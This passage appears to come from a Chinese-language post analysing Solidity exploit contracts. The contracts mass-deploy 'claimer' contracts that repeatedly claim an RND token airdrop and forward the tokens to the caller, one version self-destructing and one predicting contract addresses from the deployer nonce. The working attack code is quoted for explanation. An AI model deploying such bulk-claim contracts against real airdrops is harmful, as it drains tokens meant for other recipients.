multi_claim_with_selfdestruct.txt
在 multi_claim_with_selfdestruct.txt 文件中,可以看到主方法call
的实现
function call(uint256 times) public {
for(uint i=0;i<times;++i){
new claimer(contra);
}
}
这里通过for
循环实现了批量创建合约claimer
。
接下来看claimer
合约的实现
contract claimer{
constructor(address contra){
airdrop(contra).claim();
uint256 balance = airdrop(contra).balanceOf(address(this));
airdrop(contra).transfer(address(tx.origin), balance);
selfdestruct(payable(address(msg.sender)));
}
}
在claimer
合约初始化函数constructor
中,调用了airdrop
合约的claim
方法,而airdrop
合约就是上面提到的RND
代币空投合约。在获取RND
代币的空投之后,claimer
合约会将RND
代币转给调用链发起人tx.origin
,最后调用selfdestruct
自毁合约。(这里自毁合约的逻辑没有搞清楚,据说自毁合约可以返还gas费,不知真假)
multi_claim.sol
在multi_claim.sol 文件中,可以看到它的实现逻辑和 multi_claim_with_selfdestruct.txt
是一样的,但是多了一个额外的函数 addressto
function addressto(address _origin, uint256 _nonce) internal pure returns (address _address) {
bytes memory data;
if(_nonce == 0x00) data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, bytes1(0x80));
else if(_nonce <= 0x7f) data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, uint8(_nonce));
else if(_nonce <= 0xff) data = abi.encodePacked(bytes1(0xd7), bytes1(0x94), _origin, bytes1(0x81), uint8(_nonce));
else if(_nonce <= 0xffff) data = abi.encodePacked(bytes1(0xd8), bytes1(0x94), _origin, bytes1(0x82), uint16(_nonce));
else if(_nonce <= 0xffffff) data = abi.encodePacked(bytes1(0xd9), bytes1(0x94), _origin, bytes1(0x83), uint24(_nonce));
else data = abi.encodePacked(bytes1(0xda), bytes1(0x94), _origin, bytes1(0x84), uint32(_nonce));
bytes32 hash = keccak256(data);
assembly {
mstore(0, hash)
_address := mload(0)
}
}
据我所知,这个函数实现了对部署下一个合约地址的预测,在claimer
合约当中
contract claimer{
constructor(address selfAdd, address receiver){
address contra = address(0xbb2A2D70d6a4B80FA2C4d4Ca43a8525da430196c);
airdrop(contra).claim();
uint256 balance = airdrop(contra).balanceOf(selfAdd);
require(balance>0,'Oh no');
airdrop(contra).transfer(receiver, balance);
}
}
在uint256 balance = airdrop(contra).balanceOf(selfAdd)
中,selfAdd
是预测出来的合约合约地址,所以这里能获取正确的balance
。这个claimer
合约移除了selfdestruct
函数。